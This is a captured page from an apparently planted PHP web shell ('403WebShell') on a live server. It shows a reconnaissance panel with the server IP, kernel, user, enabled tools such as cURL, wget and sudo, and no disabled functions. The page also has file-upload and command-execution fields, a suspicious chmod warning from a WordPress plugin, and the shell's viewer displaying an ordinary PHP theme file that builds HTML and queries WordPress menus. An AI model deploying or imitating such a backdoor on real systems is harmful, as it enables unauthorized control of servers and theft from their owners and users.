Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/kjvdictionary_store/modules/themeHestia/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/kjvdictionary_store/modules/themeHestia/main.php
<?php

namespace modules\themeHestia;

class main extends \moduleMain {

	use \modules\output\traits {
			\modules\output\traits::__construct as __ConstructOutput;
		}
	use \modules\database\traits {
			\modules\database\traits::__construct as __ConstructDatabase;
		}

	public function __construct() {
		$this->__ConstructOutput();
		$this->__ConstructDatabase();
	}
	
	public function Activate() {
	}

	public function Button(&$result, $text, $logoclass = 'fa-envelope-o', $colorclass = 'cc-gray', $outline = FALSE) {
		if ($result == '') {
			if ($logoclass != '') {
                if (!preg_match('~\b(fa|fab|fas|far)\b~', $logoclass)) {
                    $logoclass = 'fa ' . $logoclass;
                }
				$result = <<<BLOCK
<span class="themeButton $colorclass"><i class="fa-icon $logoclass"></i><span class="btn-text logo">$text</span></span>
BLOCK;
			} else {
				$result = <<<BLOCK
<span class="themeButton $colorclass"><span class="btn-text">$text</span></span>
BLOCK;
			}
		}
	}
	
	public function __favicon(&$html) {
		$base = $this->StaticUriModule(__DIR__);
		$html = "<link type=\"image/svg\" rel=\"icon\" href=\"{$base}/bowling-ball-solid.svg\"><!-- from fontawesome -->";
	}

	// load html, css, javascript for the theme
	public function Load() {
		Hook_add('html.button', [$this, 'Button']);
		hook_add('html.favicon', [ $this, '__favicon' ], 10);
		hook_add('page.footer', [ $this, '__footer' ], 90);		// default footer, if nothing else is generated
		$base = $this->StaticUriModule(__DIR__);
	// themes are loaded last - too late to install hooks
		$ext = $this->getJsExtension();
		
		// history: https://github.com/devote/HTML5-History-API
		$this->IncludeFile("https://cdnjs.cloudflare.com/ajax/libs/handlebars.js/4.0.6/handlebars{$ext}")
				->Version('');
                
		$this->IncludeFile('https://code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css')
				->Version('');
		$this->IncludeFile("https://code.jquery.com/ui/1.12.1/jquery-ui{$ext}", 'jquery-ui')
				->Version('')
				->depends('jquery');
		// https://cdnjs.com/libraries/font-awesome/5.12.0-1
		$this->IncludeFile('https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.12.0-1/css/all.min.css', 'awesome')
				->Integrity('sha256-4w9DunooKSr3MFXHXWyFER38WmPdm361bQS/2KUWZbU=')
				->CrossOrigin('anonymous')
				->Version('');
		$this->IncludeFile("$base/bootstrap.min.css");
		$this->IncludeFile("$base/style.css");
		$this->IncludeFile("$base/script.min.js")->depends('jquery');
		
		$id = $this->IncludeFile('');
        $javascript = <<<BLOCK
main.significantClasses = main.significantClasses || [];
main.significantClasses.push('page-template-default', 'page', 'blog-post', 'header-layout-default', 'woocommerce-page', 'snafu');

BLOCK;
        $id->JavascriptCommand($javascript, FALSE);
	}
	
	public function run($data) {

		$navigation = [];
		header('Content-type: text/html; charset=utf-8');
		echo $this->render($navigation, $data);
	}
	
	// all items are on a single line, with separators
	private function GenerateSingleLineMenu_html($menu, $icononly = FALSE) {
		$output = '';
		foreach((array)$menu as $item) {
			
//			$class = isset($menu_item['class']) ? $menu_item['class'] : '';
			$class = $menu_item['class'] ?? '';
			$hint =  $menu_item['hint'] ?? '';
			$rel =   $menu_item['rel'] ?? '';
			if ($hint != '') $hint = ' title="' . htmlspecialchars($hint) . '"';
			if ($rel != '')  $hint .= " rel=\"$rel\"";
			$caption = $item['caption'];
			if (($item['icon'] ?? '') != '') $caption = $item['icon'];
			$output .= <<<BLOCK
<li  class="menu-item menu-item-type-post_type menu-item-object-page"><a $hint href="{$item['href']}">{$caption}</a></li>
BLOCK;
		}
		return $output;
	}
	
	private function retrieveMenu($menuname) {
		$info = hook_execute('menu.' . $menuname, []);
		// sort by display order?
		return $info;
	}
	
	public function __footer(&$html) {
		if (empty($html)) {
			$configuration = $this->_getConfigurationData();
			$MENU = '';
			foreach($configuration['menu'] as $item) {		// menu-item-home
				$MENU .= <<<BLOCK
<li id="menu-item-{$item['ID']}" class="menu-item menu-item-type-post_type menu-item-object-page  menu-item-{$item['ID']}"><a title="{$item['title']}" href="{$item['url']}">{$item['title']}</a></li>
BLOCK;
			}
			$menu = $this->RetrieveMenu('menu2');			// profile menu
			foreach($menu as $item) {
				if (substr($item['href'], 0, 7) == '/login?' || substr($item['href'], 0, 8) == '/logout?'  || substr($item['href'], 0, 6) == '/admin') {
					$MENU .= <<<BLOCK
<li class="menu-item menu-item-type-post_type menu-item-object-page "><a title="{$item['caption']}" href="{$item['href']}">{$item['caption']}</a></li>
BLOCK;
				}
			}

			$html = <<<BLOCK
<footer class="footer footer-black footer-big">
	<div class="container">
	<div class="hestia-bottom-footer-content"><ul class="footer-menu pull-left">$MENU</ul>
	<div class="copyright pull-right">Hestia | Developed by <a href="https://themeisle.com" rel="nofollow">ThemeIsle</a></div></div>			</div>
</footer>

BLOCK;

		}
	}
	
	private function render($navigation, $page_data) {
		$base = $this->StaticUriModule(__DIR__);
		$ext = $this->getJsExtension();
		$configuration = $this->_getConfigurationData();

		hook_execute('html.prepare', $this, $page_data);
		// any files included here are at the end of the list
		$this->IncludeFile("/static/jquery.jeditable.css");
		$this->IncludeFile("/static/jquery.jeditable$ext")->depends('jquery');
		$this->IncludeFile($base . '/template.css');

		$title = $this->Title();
		if ($title !== NULL) {
			$dtitle = '<title>' . htmlspecialchars($title) . "</title>\n";
		} else {
			$dtitle = '';
		}

		$menu1 = $new_nav = '';

		$menu = $this->RetrieveMenu('menu2');			// profile menu
		$menu2 = $this->GenerateSingleLineMenu_html($menu, TRUE);
		
		$menu = $this->RetrieveMenu('menu3');			// Footer - SingleLine Menu
		$menu3 = $this->GenerateSingleLineMenu_html($menu);
		
		$body = $this->body();
		if ($body === null) $body = '';
		$body = $this->hook_apply_late($body);

		$page_title = $page_data['page_title'] ?? $title;
		$inc = hook_execute('html.head', '');

		$favicon = $this->favIcon();
		$header_item_1 = $this->OutputGet('header_item_1', '<div class="pai_logo hdr-image"></div>');
		$header_item_2 = $this->OutputGet('header_item_2', '');
		$page_class = $this->OutputGet('page_class', '');
		$htmlfooter = hook_exists('html.footer') ? hook_execute('html.footer', '') : '';
		$feature = $this->settings['feature'] ?? '';
		if ($feature != '') $feature = "style=\"background-image: url($feature);\"";

		$pageheader = hook_exists('page.header') ? hook_execute('page.header', '') : '';		// content header. eg carousel
		$pagefooter = hook_exists('page.footer') ? hook_execute('page.footer', '') : '';		// visible footer on the page 
		$htmlfooter = hook_exists('html.footer') ? hook_execute('html.footer', '') : '';		// javascript just before closing </body>

		$html = <<<BLOCK
<!DOCTYPE html>
<html lang="en-US">
<head>
	<meta charset='UTF-8'>
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<link rel="profile" href="http://gmpg.org/xfn/11">
<meta name='robots' content='max-image-preview:large' />
<style type="text/css">
img.wp-smiley,
img.emoji {
	display: inline !important;
	border: none !important;
	box-shadow: none !important;
	height: 1em !important;
	width: 1em !important;
	margin: 0 .07em !important;
	vertical-align: -0.1em !important;
	background: none !important;
	padding: 0 !important;
}
</style>
<link rel='stylesheet' id='hestia_fonts-css'  href='https://fonts.googleapis.com/css?family=Roboto%3A300%2C400%2C500%2C700%7CRoboto+Slab%3A400%2C700&#038;subset=latin%2Clatin-ext&#038;ver=3.0.23' type='text/css' media='all' />
{$favicon}{$dtitle}{$inc}
</head>

<body class="page-outer page-template-default page blog-post header-layout-default woocommerce-page $page_class">
	<div class="page-inner wrapper default">
		<header class="header ">
			<div style="display: none"></div>
			<nav class="navbar navbar-default navbar-fixed-top  hestia_left navbar-not-transparent">
						<div class="container">
						<div class="navbar-header">
			<div class="title-logo-wrapper">
				<a class="navbar-brand" href="{$configuration['option']['home']}/" title="{$configuration['option']['blogname']}">{$configuration['option']['blogname']}</a>
			</div>
			<div class="navbar-toggle-wrapper">
				<button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#main-navigation">
					<span class="icon-bar"></span>
					<span class="icon-bar"></span>
					<span class="icon-bar"></span>
					<span class="sr-only">Toggle Navigation</span>
				</button>
			</div>
			</div>
			<div id="main-navigation" class="collapse navbar-collapse"><ul id="menu-primary-menu" class="nav navbar-nav">$menu2</ul></div>
			</div>
			</nav>
		</header>
		<div id="primary" class="boxed-layout-header page-header header-small" data-parallax="active" ><div class="container"><div class="row"><div class="text-center"><h1 class="hestia-title ">{$page_title}</h1></div></div></div>
		<div class="header-filter" $feature></div>
	</div>
	{$pageheader}
	<div class="main main-raised ">
			<div class="blog-post ">

				<article class="section section-text">
					<div class="row" id="pagecontent">
						<article class="col-md-8 page-content-wrap col-md-offset-2 body main-col font8">
							$body
						</article>
					</div>
				</article>
			</div>
	{$pagefooter}
		</div>
	</div>
	<div class="popup-dialog" style="display:none"></div>
	{$htmlfooter}
</body>
</html>

BLOCK;

		return $html;
	}

	public function _getConfigurationData() {
		// get options
		$result = [
			'option' 	=> [],
			'menu'		=> [],
		];
		$options = ['page_on_front', 'siteurl', 'blogname', 'blogdescription', 'home', 'widget_php-text'];
		$items = $this->Query('select option_name,option_value from wp_options')
				->Wherein('option_name', $options)
				->Get();
		foreach($items as $item) {
			$result['option'][$item->option_name] = $item->option_value;
		}

		// get the main menu
		$sql = <<<'BLOCK'
select p.menu_order, p2.post_title, pm.meta_value as item_url, p2.post_name, p2.ID as PageId
  from wp_posts AS p
    LEFT JOIN wp_term_relationships AS tr ON tr.object_id = p.ID 
    LEFT JOIN wp_term_taxonomy AS tt ON tt.term_taxonomy_id = tr.term_taxonomy_id 
    left JOIN wp_postmeta AS pm ON pm.post_id = p.Id and pm.meta_key = '_menu_item_url'
    left join wp_postmeta as pp on pp.post_id = p.Id and pp.meta_key = '_menu_item_object_id'
    left join wp_posts AS p2 on p2.Id = pp.meta_value
    left join wp_terms AS t on tt.term_id = t.term_id
BLOCK;
		$items = $this->Query($sql)
				->Where('p.post_type=%s', 'nav_menu_item')
				->Where('tt.taxonomy=%s', 'nav_menu')
				->Where('t.slug=%s', 'primary-menu')				// this is the name of the menu to be displayed
				->OrderBy('p.menu_order')
				->Get();
		foreach($items as $item) {
			$url = $this->_toUrl($item, $result['option']);
			$result['menu'][] = [
				'ID'	=> $item->PageId,
				'title' => $item->post_title,
				'url'	=> $url,
			];
		}
		
		return $result;
	}
	
	private function _toUrl($item, $options) {
		if ($item->PageId == $options['page_on_front']) {
			return $options['home'] . '/';
		}
		return $options['siteurl'] . '/' . $item->post_name . '/';
	}

}
/*
<script type='text/javascript' id='hestia_scripts-js-extra'>
var requestpost = {"ajaxurl":"https:\/\/kjvdictionary.org\/wp-admin\/admin-ajax.php","disable_autoslide":0,"masonry":""};
</script>
*/

Youez - 2016 - github.com/yon3zu
LinuXploit